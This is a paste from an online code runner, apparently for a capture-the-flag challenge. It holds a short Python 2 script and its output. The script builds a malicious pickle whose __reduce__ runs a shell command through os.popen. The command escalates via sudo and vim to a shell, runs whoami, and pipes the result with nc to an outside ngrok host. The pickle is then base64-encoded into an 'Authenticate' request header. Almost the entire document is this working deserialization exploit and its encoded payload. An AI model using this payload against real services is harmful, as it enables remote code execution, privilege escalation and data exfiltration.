fork download
  1. import cPickle
  2. import base64
  3.  
  4.  
  5. class MMM(object):
  6. def __reduce__(self):
  7. import os
  8. s = "/bin/bash 2>&1 | sudo -u app-script-ch5 vim -c '!sh' | whoami | nc 2.tcp.eu.ngrok.io 15016 > /tmp/f"
  9. return (os.popen, (s,))
  10.  
  11. payload = cPickle.dumps(MMM())
  12. print 'AUTH admin HTTP/1.0'
  13. print 'Authenticate:', base64.b64encode(payload)
Success #stdin #stdout 0.01s 7588KB
stdin
Standard input is empty
stdout
AUTH admin HTTP/1.0
Authenticate: Y3Bvc2l4CnBvcGVuCnAxCihTIi9iaW4vYmFzaCAyPiYxIHwgc3VkbyAtdSBhcHAtc2NyaXB0LWNoNSB2aW0gLWMgJyFzaCcgfCB3aG9hbWkgfCBuYyAyLnRjcC5ldS5uZ3Jvay5pbyAxNTAxNiA+IC90bXAvZiIKcDIKdFJwMwou